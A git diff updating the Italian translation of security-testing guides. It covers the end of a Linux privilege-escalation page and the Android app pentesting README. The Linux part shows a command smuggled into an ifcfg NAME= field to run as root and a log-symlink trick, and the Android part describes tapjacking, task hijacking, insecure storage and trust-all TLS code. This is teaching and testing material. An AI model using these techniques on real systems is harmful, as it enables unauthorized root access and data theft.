privilegi sostituendo i log con symlink. +Questa vulnerabilità è molto simile a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** quindi ogni volta che trovi di poter alterare i log, verifica chi gestisce quei log e controlla se puoi ottenere privilegi elevati sostituendo i log con symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Riferimento della vulnerabilità:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Riferimento vulnerabilità:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Se, per qualsiasi motivo, un utente è in grado di **scrivere** uno script `ifcf-` in _/etc/sysconfig/network-scripts_ **oppure** può **modificare** uno esistente, allora il tuo **sistema è pwned**. +Se, per qualsiasi motivo, un utente è in grado di **write** uno script `ifcf-` in _/etc/sysconfig/network-scripts_ **or** può **adjust** uno esistente, allora il tuo **system is pwned**. -Gli script di rete, _ifcg-eth0_ per esempio, sono usati per le connessioni di rete. Sembrano esattamente file .INI. Tuttavia, vengono \~sourced\~ su Linux da Network Manager (dispatcher.d). +Network scripts, _ifcg-eth0_ per esempio, sono usati per le connessioni di rete. Sembrano esattamente file .INI. Tuttavia, vengono ~sourced~ su Linux da Network Manager (dispatcher.d). -Nel mio caso, l'attributo `NAME=` in questi script di rete non viene gestito correttamente. Se hai **spazio bianco nel nome, il sistema prova ad eseguire la parte dopo lo spazio bianco**. Questo significa che **tutto ciò che segue il primo spazio viene eseguito come root**. +Nel mio caso, l'attributo `NAME=` in questi script di rete non viene gestito correttamente. Se hai **white/blank space in the name the system tries to execute the part after the white/blank space**. Questo significa che **everything after the first blank space is executed as root**. Per esempio: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1392,15 +1390,15 @@ DEVICE=eth0 ``` (_Nota lo spazio vuoto tra Network e /bin/id_) -### **init, init.d, systemd, e rc.d** +### **init, init.d, systemd e rc.d** -La directory `/etc/init.d` ospita **script** per System V init (SysVinit), il **classico sistema di gestione dei servizi Linux**. Include script per `start`, `stop`, `restart`, e talvolta `reload` dei servizi. Questi possono essere eseguiti direttamente o tramite collegamenti simbolici presenti in `/etc/rc?.d/`. Un percorso alternativo nei sistemi Redhat è `/etc/rc.d/init.d`. +La directory `/etc/init.d` ospita **script** per System V init (SysVinit), il **classico sistema di gestione dei servizi Linux**. Include script per `start`, `stop`, `restart` e talvolta `reload` dei servizi. Questi possono essere eseguiti direttamente o tramite link simbolici presenti in `/etc/rc?.d/`. Un percorso alternativo nei sistemi Redhat è `/etc/rc.d/init.d`. -D'altra parte, `/etc/init` è associata a **Upstart**, una più recente **gestione dei servizi** introdotta da Ubuntu, che utilizza file di configurazione per le attività di gestione dei servizi. Nonostante la transizione a Upstart, gli script SysVinit sono ancora utilizzati insieme alle configurazioni di Upstart grazie a uno strato di compatibilità in Upstart. +D'altra parte, `/etc/init` è associato a **Upstart**, un più recente sistema di **service management** introdotto da Ubuntu, che utilizza file di configurazione per le operazioni di gestione dei servizi. Nonostante la transizione a Upstart, gli script SysVinit sono ancora utilizzati insieme alle configurazioni Upstart grazie a uno strato di compatibilità in Upstart. -**systemd** emerge come un moderno gestore di inizializzazione e servizi, offrendo funzionalità avanzate come avvio on-demand dei daemon, gestione degli automount e snapshot dello stato del sistema. Organizza i file in `/usr/lib/systemd/` per i pacchetti della distribuzione e in `/etc/systemd/system/` per le modifiche dell'amministratore, semplificando il processo di amministrazione del sistema. +**systemd** emerge come un moderno init e service manager, offrendo funzionalità avanzate come avvio on-demand dei daemon, gestione automount e snapshot dello stato del sistema. Organizza i file in `/usr/lib/systemd/` per i pacchetti di distribuzione e `/etc/systemd/system/` per le modifiche dell'amministratore, semplificando le operazioni di amministrazione del sistema. -## Altri Trucchi +## Other Tricks ### NFS Privilege escalation @@ -1425,37 +1423,38 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -I framework di rooting Android comunemente hookano una syscall per esporre funzionalità privilegiate del kernel a un manager in userspace. Una debole autenticazione del manager (es. controlli di firma basati sull'ordine degli FD o schemi di password scadenti) può permettere a un'app locale di impersonare il manager ed eseguire escalation a root su dispositivi già rootati. Per saperne di più e dettagli sull'exploitation: +I framework di rooting Android comunemente hookano una syscall per esporre funzionalità privilegiate del kernel a un manager in userspace. Una debole autenticazione del manager (ad es., controlli di signature basati su FD-order o schemi di password scadenti) può permettere a un'app locale di impersonare il manager e escalare a root su dispositivi già root. Maggiori dettagli ed informazioni sull'exploit sono disponibili qui: + {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} -## Protezioni di sicurezza del kernel +## Kernel Security Protections - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## Ulteriori risorse +## Altro aiuto [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Strumenti Linux/Unix per Privesc +## Linux/Unix Privesc Tools -### **Miglior tool per cercare vettori di local privilege escalation su Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumera vulnerabilità del kernel in Linux e Mac [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ -**EvilAbigail (accesso fisico):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ +**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ **Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## References +## Riferimenti - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 221781217..91daf9b92 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -1,10 +1,10 @@ -# Pentesting delle Applicazioni Android +# Applicazioni Android Pentesting {{#include ../../banners/hacktricks-training.md}} -## Android Applications Basics +## Nozioni di base sulle Applicazioni Android -Si raccomanda vivamente di iniziare leggendo questa pagina per conoscere le **parti più importanti relative alla sicurezza Android e i componenti più pericolosi in un'applicazione Android**: +È altamente consigliato iniziare leggendo questa pagina per conoscere le **parti più importanti relative alla sicurezza Android e i componenti più pericolosi in un'applicazione Android**: {{#ref}} @@ -13,14 +13,14 @@ android-applications-basics.md ## ADB (Android Debug Bridge) -Questo è lo strumento principale di cui hai bisogno per connetterti a un dispositivo Android (emulato o fisico).\ -**ADB** permette di controllare i dispositivi sia via **USB** sia via **Network** da un computer. Questa utility consente la **copia** di file in entrambe le direzioni, l'**installazione** e la **disinstallazione** di app, l'**esecuzione** di comandi shell, il **backup** dei dati, la **lettura** dei log, tra le altre funzioni. +Questo è lo strumento principale che serve per connettersi a un dispositivo Android (emulato o fisico).\ +**ADB** permette di controllare i dispositivi sia tramite **USB** sia tramite **Network** da un computer. Questa utility consente la **copia** di file in entrambe le direzioni, l'**installazione** e la **disinstallazione** di app, l'**esecuzione** di comandi shell, il **backup** dei dati, la **lettura** dei log, tra le altre funzioni. Dai un'occhiata alla seguente lista di [**ADB Commands**](adb-commands.md) per imparare come usare adb. ## Smali -A volte è utile **modificare il codice dell'applicazione** per accedere a **informazioni nascoste** (ad esempio password ben offuscate o flag). In tal caso, può essere interessante decompilare l'apk, modificare il codice e ricompilarlo.\ +A volte è interessante **modificare il codice dell'applicazione** per accedere a **informazioni nascoste** (ad esempio password ben offuscate o flag). In questo caso può essere utile decompilare l'apk, modificare il codice e ricompilarlo.\ [**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Questo può essere molto utile come **alternativa per diversi test durante l'analisi dinamica** che verranno presentati. Quindi, **tieni sempre presente questa possibilità**. ## Altri trucchi interessanti @@ -29,8 +29,8 @@ A volte è utile **modificare il codice dell'applicazione** per accedere a **inf - [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md) - [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md) - [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md) -- **Scarica APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) -- Estrarre APK dal dispositivo: +- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) +- Estrai APK dal dispositivo: ```bash adb shell pm list packages com.android.insecurebankv2 @@ -40,7 +40,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk ``` -- Unire tutti gli splits e base apks con [APKEditor](https://github.com/REAndroid/APKEditor): +- Unisci tutti i splits e gli apks base con [APKEditor](https://github.com/REAndroid/APKEditor): ```bash mkdir splits adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits @@ -49,7 +49,7 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk # after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ``` -## Casi di studio & Vulnerabilità +## Casi di studio e Vulnerabilità {{#ref}} @@ -64,36 +64,36 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ## Analisi statica Prima di tutto, per analizzare un APK dovresti **dare un'occhiata al codice Java** usando un decompiler.\ -Please, [**read here to find information about different available decompilers**](apk-decompilers.md). +Per favore, [**leggi qui per trovare informazioni sui diversi decompiler disponibili**](apk-decompilers.md). ### Ricerca di informazioni interessanti -Solo guardando le **strings** dell'APK puoi cercare **password**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** e qualsiasi cosa interessante... cerca anche eventuali backdoor di esecuzione codice o backdoor di autenticazione (credenziali admin hardcoded nell'app). +Solo dando un'occhiata alle **strings** dell'APK puoi cercare **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **API** keys, **encryption**, **bluetooth uuids**, **tokens** e qualsiasi cosa interessante... cerca anche code execution **backdoors** o authentication backdoors (hardcoded admin credentials nell'app). **Firebase** -Presta particolare attenzione alle **firebase URLs** e verifica se è mal configurato. [More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +Presta particolare attenzione alle **Firebase URLs** e verifica se sono configurate in modo errato. [Maggiori informazioni su cos'è Firebase e come sfruttarlo qui.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) ### Comprensione di base dell'applicazione - Manifest.xml, strings.xml -L'**esame dei file _Manifest.xml_ e **_strings.xml_** di un'applicazione può rivelare potenziali vulnerabilità di sicurezza**. Questi file possono essere accessi usando decompiler o rinominando l'estensione del file APK in .zip e poi scompattandolo. +L'**esame dei file _Manifest.xml_ e _strings.xml_** di un'applicazione può rivelare potenziali vulnerabilità di sicurezza. Questi file possono essere ottenuti usando decompiler o rinominando l'estensione dell'APK in .zip e poi decomprimendolo. -Le **vulnerabilità** identificate dal **Manifest.xml** includono: +**Vulnerabilità** identificate dal **Manifest.xml** includono: -- **Debuggable Applications**: Le applicazioni impostate come debuggable (`debuggable="true"`) nel file _Manifest.xml_ presentano un rischio perché permettono connessioni che possono portare a exploitation. Per capire meglio come sfruttare applicazioni debuggable, fai riferimento a un tutorial su come trovare e sfruttare applicazioni debuggable su un device. -- **Backup Settings**: L'attributo `android:allowBackup="false"` dovrebbe essere esplicitamente impostato per applicazioni che trattano informazioni sensibili per impedire backup non autorizzati dei dati tramite adb, specialmente quando usb debugging è abilitato. -- **Network Security**: Le configurazioni personalizzate di network security (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ possono specificare dettagli di sicurezza come certificate pins e impostazioni del traffico HTTP. Un esempio è permettere traffico HTTP per domini specifici. -- **Exported Activities and Services**: Identificare attività e servizi esportati nel manifest può evidenziare componenti che potrebbero essere abusati. Un'analisi più approfondita durante i test dinamici può rivelare come sfruttare questi componenti. -- **Content Providers and FileProviders**: Content provider esposti potrebbero permettere accesso o modifica non autorizzata dei dati. Anche la configurazione dei FileProviders va esaminata con attenzione. -- **Broadcast Receivers and URL Schemes**: Questi componenti potrebbero essere sfruttati per l'exploitation, con particolare attenzione a come vengono gestiti gli URL schemes per vulnerabilità di input. -- **SDK Versions**: Gli attributi `minSdkVersion`, `targetSDKVersion`, e `maxSdkVersion` indicano le versioni Android supportate, sottolineando l'importanza di non supportare versioni Android obsolete e vulnerabili per motivi di sicurezza. +- **Applicazioni debuggabili**: Le applicazioni impostate come debuggabili (`debuggable="true"`) nel file _Manifest.xml_ rappresentano un rischio poiché consentono connessioni che possono portare a sfruttamento. Per capire come sfruttare applicazioni debuggabili, consulta un tutorial su come individuare e sfruttare applicazioni debuggabili su un dispositivo. +- **Impostazioni di backup**: L'attributo `android:allowBackup="false"` dovrebbe essere impostato esplicitamente per le applicazioni che trattano informazioni sensibili per prevenire backup non autorizzati dei dati via adb, specialmente quando il debug USB è abilitato. +- **Network Security**: Le configurazioni personalizzate di network security (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ possono specificare dettagli di sicurezza come certificate pinning e impostazioni del traffico HTTP. Un esempio è consentire traffico HTTP per domini specifici. +- **Attività e servizi esportati**: Identificare attività e servizi esportati nel manifest può evidenziare componenti che potrebbero essere sfruttati. Un'ulteriore analisi durante i test dinamici può rivelare come sfruttare questi componenti. +- **Content Providers e FileProviders**: Content provider esposti potrebbero permettere accesso non autorizzato o modifica dei dati. Anche la configurazione dei FileProvider dovrebbe essere esaminata attentamente. +- **Broadcast Receivers e URL Schemes**: Questi componenti potrebbero essere sfruttati, prestando particolare attenzione a come gli URL scheme sono gestiti riguardo alle vulnerabilità di input. +- **Versioni SDK**: Gli attributi `minSdkVersion`, `targetSDKVersion` e `maxSdkVersion` indicano le versioni Android supportate, sottolineando l'importanza di non supportare versioni Android obsolete e vulnerabili per ragioni di sicurezza. -Dal file **strings.xml** si possono scoprire informazioni sensibili come API keys, custom schemas e altre note degli sviluppatori, evidenziando la necessità di una revisione attenta di queste risorse. +Dal file **strings.xml**, possono essere scoperte informazioni sensibili come API keys, custom schemas e altre note degli sviluppatori, sottolineando la necessità di una revisione accurata di queste risorse. ### Tapjacking -Tapjacking è un attacco in cui una **applicazione** **malintenzionata** viene lanciata e **si posiziona sopra un'applicazione vittima**. Una volta che oscura visivamente l'app vittima, la sua interfaccia utente è progettata in modo da ingannare l'utente a interagirvi, mentre inoltra l'interazione all'app vittima.\ -In pratica, sta **accecando l'utente facendogli ignorare che sta effettivamente eseguendo azioni sull'app vittima**. +**Tapjacking** è un attacco in cui una **applicazione malevola** viene lanciata e **si posiziona sopra un'applicazione vittima**. Una volta che oscura visibilmente l'app vittima, la sua interfaccia utente è progettata in modo da indurre l'utente a interagire con essa, mentre l'interazione viene inoltrata all'app vittima.\ +Di fatto, è **accecare l'utente impedendogli di rendersi conto che sta effettivamente eseguendo azioni sull'app vittima**. Find more information in: @@ -104,7 +104,7 @@ tapjacking.md ### Task Hijacking -Un'attività con il **`launchMode`** impostato su **`singleTask` senza alcun `taskAffinity`** definito è vulnerabile al task Hijacking. Ciò significa che un'**applicazione** può essere installata e, se lanciata prima dell'app reale, potrebbe **hijackare il task dell'app reale** (quindi l'utente interagirà con l'**applicazione malintenzionata** pensando di usare quella reale). +Un'attività con il `launchMode` impostato su `singleTask` senza alcun `taskAffinity` definito è vulnerabile al task Hijacking. Questo significa che un'applicazione può essere installata e, se avviata prima della vera applicazione, potrebbe dirottare il task della vera applicazione (così l'utente interagirà con l'app malevola pensando di usare quella reale). More info in: @@ -113,101 +113,101 @@ More info in: android-task-hijacking.md {{#endref}} -### Memorizzazione dei dati insicura +### Archiviazione dei dati insicura -Internal Storage +**Internal Storage** -In Android, i file **memorizzati** in **archiviazione interna** sono **progettati** per essere **accessibili** esclusivamente dall'**app** che li ha **creati**. Questa misura di sicurezza è **applicata** dal sistema operativo Android ed è generalmente adeguata per le esigenze di sicurezza della maggior parte delle applicazioni. Tuttavia, gli sviluppatori a volte utilizzano modalità come `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` per **consentire** che i file siano **condivisi** tra diverse applicazioni. Queste modalità **non limitano l'accesso** a questi file da parte di altre applicazioni, incluse quelle potenzialmente malintenzionate. +In Android, i file **memorizzati** nella **internal storage** sono progettati per essere accessibili esclusivamente dall'**app** che li ha creati. Questa misura di sicurezza è **applicata** dal sistema operativo Android ed è generalmente adeguata per le esigenze di sicurezza della maggior parte delle applicazioni. Tuttavia, gli sviluppatori a volte utilizzano modalità come `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` per **permettere** che i file siano **condivisi** tra diverse applicazioni. Queste modalità **non limitano l'accesso** a questi file da altre applicazioni, comprese quelle potenzialmente malevole. -1. **Static Analysis:** -- **Assicurati** che l'uso di `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` sia **esaminato con attenzione**. Queste modalità **possono potenzialmente esporre** i file ad **accessi non intenzionati o non autorizzati**. -2. **Dynamic Analysis:** -- **Verifica** i **permessi** impostati sui file creati dall'app. In particolare, **controlla** se qualche file è **impostato come leggibile o scrivibile worldwide**. Questo può costituire un rischio significativo per la sicurezza, poiché permetterebbe a **qualsiasi applicazione** installata sul dispositivo, indipendentemente dalla sua origine o intento, di **leggere o modificare** tali file. +1. **Analisi statica:** +- **Verifica** che l'uso di `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` sia **attentamente esaminato**. Queste modalità **possono potenzialmente esporre** file ad **accessi non intenzionati o non autorizzati**. +2. **Analisi dinamica:** +- **Controlla** i **permessi** impostati sui file creati dall'app. In particolare, **verifica** se alcuni file sono impostati come leggibili o scrivibili da tutti. Questo può rappresentare un rischio significativo per la sicurezza, poiché permetterebbe a **qualsiasi applicazione** installata sul dispositivo, indipendentemente dalla sua origine o intenzione, di **leggere o modificare** tali file. -External Storage +**External Storage** -Quando si lavora con file su **archiviazione esterna**, come le SD Card, è necessario prendere alcune precauzioni: +Quando si lavora con file su **external storage**, come SD Card, devono essere prese alcune precauzioni: 1. **Accessibilità**: -- I file su archiviazione esterna sono **globalmente leggibili e scrivibili**. Questo significa che qualsiasi applicazione o utente può accedere a questi file. +- I file su external storage sono **globalmente leggibili e scrivibili**. Questo significa che qualsiasi applicazione o utente può accedere a questi file. 2. **Problemi di sicurezza**: -- Data la facilità di accesso, è sconsigliato **memorizzare informazioni sensibili** su archiviazione esterna. -- L'archiviazione esterna può essere rimossa o accessibile da qualsiasi applicazione, rendendola meno sicura. -3. **Gestione dei dati dall'archiviazione esterna**: -- Esegui sempre **validazione dell'input** sui dati recuperati dall'archiviazione esterna. Questo è cruciale perché i dati provengono da una fonte non attendibile. -- È fortemente sconsigliato memorizzare eseguibili o class files su archiviazione esterna per il caricamento dinamico. -- Se la tua applicazione deve recuperare file eseguibili dall'archiviazione esterna, assicurati che questi file siano **signed e verificati crittograficamente** prima del caricamento dinamico. Questo passaggio è vitale per mantenere l'integrità di sicurezza della tua applicazione. +- Data la facilità di accesso, è sconsigliato **memorizzare informazioni sensibili** su external storage. +- L'external storage può essere rimosso o accessibile da qualsiasi applicazione, rendendolo meno sicuro. +3. **Gestione dei dati dall'external storage**: +- Esegui sempre **validazione degli input** sui dati recuperati dall'external storage. Questo è cruciale perché i dati provengono da una fonte non fidata. +- È fortemente sconsigliato memorizzare eseguibili o file di classi su external storage per il caricamento dinamico. +- Se la tua applicazione deve recuperare file eseguibili dall'external storage, assicurati che questi file siano **firmati e verificati criptograficamente** prima del caricamento dinamico. Questo passaggio è vitale per mantenere l'integrità della sicurezza della tua applicazione. -External storage può essere **accessed** in `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` +External storage può essere **acceduto** in `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` > [!TIP] -> Starting with Android 4.4 (**API 17**), the SD card has a directory structure which **limits access from an app to the directory which is specifically for that app**. This prevents malicious application from gaining read or write access to another app's files. +> A partire da Android 4.4 (**API 17**), la SD card ha una struttura di directory che limita l'accesso di un'app alla directory specifica per quell'app. Questo impedisce a un'applicazione malevola di ottenere accesso in lettura o scrittura ai file di un'altra app. **Dati sensibili memorizzati in chiaro** - **Shared preferences**: Android permette a ogni applicazione di salvare facilmente file xml nel percorso `/data/data//shared_prefs/` e talvolta è possibile trovare informazioni sensibili in chiaro in quella cartella. - **Databases**: Android permette a ogni applicazione di salvare facilmente database sqlite nel percorso `/data/data//databases/` e talvolta è possibile trovare informazioni sensibili in chiaro in quella cartella. -### Broken TLS +### TLS rotto -Accept All Certificates +**Accept All Certificates** -Per qualche motivo a volte gli sviluppatori accettano tutti i certificati anche se, ad esempio, l'hostname non corrisponde, con righe di codice come la seguente: +Per qualche motivo, a volte gli sviluppatori accettano tutti i certificati anche se, ad esempio, l'hostname non corrisponde, con righe di codice come la seguente: ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); ``` -Un buon modo per testare questo è provare a catturare il traffico usando un proxy come Burp senza autorizzare la Burp CA all'interno del dispositivo. Inoltre, puoi generare con Burp un certificato per un hostname diverso e usarlo. +Un buon modo per testare questo è provare a catturare il traffico usando un proxy come Burp senza autorizzare la Burp CA sul dispositivo. Inoltre, puoi generare con Burp un certificato per un hostname diverso e usarlo. -### Crittografia debole +### Crittografia difettosa -**Processi di gestione delle chiavi inadeguati** +**Processi di gestione delle chiavi insufficienti** -Alcuni sviluppatori salvano dati sensibili nello storage locale e li cifrano con una chiave hardcoded/predicibile nel codice. Questo non dovrebbe essere fatto poiché del reverse potrebbe permettere agli attacker di estrarre le informazioni riservate. +Alcuni sviluppatori salvano dati sensibili nello storage locale e li cifrano con una chiave hardcoded/predictable nel codice. Questo non dovrebbe essere fatto, perché del reversing potrebbe permettere agli attaccanti di estrarre le informazioni riservate. **Uso di algoritmi insicuri e/o deprecati** -Gli sviluppatori non dovrebbero usare **algoritmi deprecati** per effettuare controlli di **autorizzazione**, **memorizzare** o **inviare** dati. Alcuni di questi algoritmi sono: RC4, MD4, MD5, SHA1... Se vengono usati **hash** per memorizzare password per esempio, dovrebbero essere usati hash resistenti al brute-force con salt. +Gli sviluppatori non dovrebbero usare **algoritmi deprecati** per eseguire authorisation **checks**, **store** o **send** data. Alcuni di questi algoritmi sono: RC4, MD4, MD5, SHA1... Se **hashes** sono usati per memorizzare le password per esempio, dovrebbero essere usati hash resistenti al brute-force con salt. ### Altri controlli -- È consigliato **offuscare l'APK** per rendere più difficile il lavoro di reverse engineering agli attacker. -- Se l'app è sensibile (come le app bancarie), dovrebbe eseguire i suoi **propri controlli per verificare se il mobile è rooted** e agire di conseguenza. +- È raccomandato di **obfuscate the APK** per rendere più difficile il lavoro di reverse engineering agli attaccanti. +- Se l'app è sensibile (come le app bancarie), dovrebbe eseguire i propri controlli per verificare se il mobile è **rooted** e agire di conseguenza. - Se l'app è sensibile (come le app bancarie), dovrebbe verificare se viene usato un **emulator**. -- Se l'app è sensibile (come le app bancarie), dovrebbe **verificare la propria integrità prima di eseguire** se è stata modificata. -- Usa [**APKiD**](https://github.com/rednaga/APKiD) per controllare quale compiler/packer/obfuscator è stato usato per costruire l'APK +- Se l'app è sensibile (come le app bancarie), dovrebbe **controllare la propria integrità prima di eseguirla** per verificare se è stata modificata. +- Usa [**APKiD**](https://github.com/rednaga/APKiD) per verificare quale compiler/packer/obfuscator è stato usato per buildare l'APK -### React Native Application +### Applicazione React Native -Read the following page to learn how to easily access javascript code of React applications: +Leggi la pagina seguente per imparare come accedere facilmente al codice javascript delle applicazioni React: {{#ref}} react-native-application.md {{#endref}} -### Xamarin Applications +### Applicazioni Xamarin -Read the following page to learn how to easily access C# code of a xamarin applications: +Leggi la pagina seguente per imparare come accedere facilmente al codice C# di applicazioni Xamarin: {{#ref}} ../xamarin-apps.md {{#endref}} -### Superpacked Applications +### Applicazioni Superpacked -According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. The blog talks about the possibility of creating an app that decompress these kind of apps... and a faster way which involves to **execute the application and gather the decompressed files from the filesystem.** +Secondo questo [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked è un algoritmo Meta che comprime il contenuto di un'applicazione in un unico file. Il blog parla della possibilità di creare un'app che decomprima questo tipo di app... e di un metodo più veloce che consiste nell'**eseguire l'applicazione e raccogliere i file decompressi dal filesystem.** -### Automated Static Code Analysis +### Analisi statica automatizzata del codice -The tool [**mariana-trench**](https://github.com/facebook/mariana-trench) is capable of finding **vulnerabilities** by **scanning** the **code** of the application. This tool contains a series of **known sources** (that indicates to the tool the **places** where the **input** is **controlled by the user**), **sinks** (which indicates to the tool **dangerous** **places** where malicious user input could cause damages) and **rules**. These rules indicates the **combination** of **sources-sinks** that indicates a vulnerability. +Lo strumento [**mariana-trench**](https://github.com/facebook/mariana-trench) è in grado di trovare **vulnerabilities** scansionando il **code** dell'applicazione. Questo tool contiene una serie di **known sources** (che indicano allo strumento i **places** dove l'**input** è **controlled by the user**), **sinks** (che indicano allo strumento **dangerous** **places** dove un input malevolo potrebbe causare danni) e **rules**. Queste regole indicano la **combinazione** di **sources-sinks** che segnala una vulnerabilità. -With this knowledge, **mariana-trench will review the code and find possible vulnerabilities on it**. +Con queste informazioni, **mariana-trench analizzerà il codice e troverà possibili vulnerabilities su di esso**. ### Secrets leaked -An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) +Un'applicazione può contenere segreti (API keys, passwords, hidden urls, subdomains...) al suo interno che potresti riuscire a scoprire. Puoi usare uno strumento come [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) ### Bypass Biometric Authentication @@ -216,14 +216,14 @@ An application may contain secrets (API keys, passwords, hidden urls, subdomains bypass-biometric-authentication-android.md {{#endref}} -### Other interesting functions +### Altre funzioni interessanti -- **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()` -- **Send SMSs**: `sendTextMessage, sendMultipartTestMessage` -- **Native functions** declared as `native`: `public native, System.loadLibrary, System.load` +- **Esecuzione di codice**: `Runtime.exec(), ProcessBuilder(), native code:system()` +- **Invio di SMS**: `sendTextMessage, sendMultipartTestMessage` +- **Funzioni native** dichiarate come `native`: `public native, System.loadLibrary, System.load` - [Read this to learn **how to reverse native functions**](reversing-native-libraries.md) -### **Other tricks** +### **Altri trucchi** {{#ref}} @@ -236,189 +236,189 @@ content-protocol.md ## Analisi Dinamica -> Prima di tutto, hai bisogno di un ambiente dove puoi installare l'applicazione e tutto l'ambiente (Burp CA cert, Drozer and Frida principalmente). Pertanto, un dispositivo rooted (emulato o no) è fortemente raccomandato. +> Prima di tutto, hai bisogno di un ambiente dove puoi installare l'applicazione e tutto l'ambiente (Burp CA cert, Drozer e Frida principalmente). Pertanto, è fortemente raccomandato un dispositivo rooted (emulato o meno). -### Online Dynamic analysis +### Analisi dinamica online -You can create a **free account** in: [https://appetize.io/](https://appetize.io). This platform allows you to **upload** and **execute** APKs, so it is useful to see 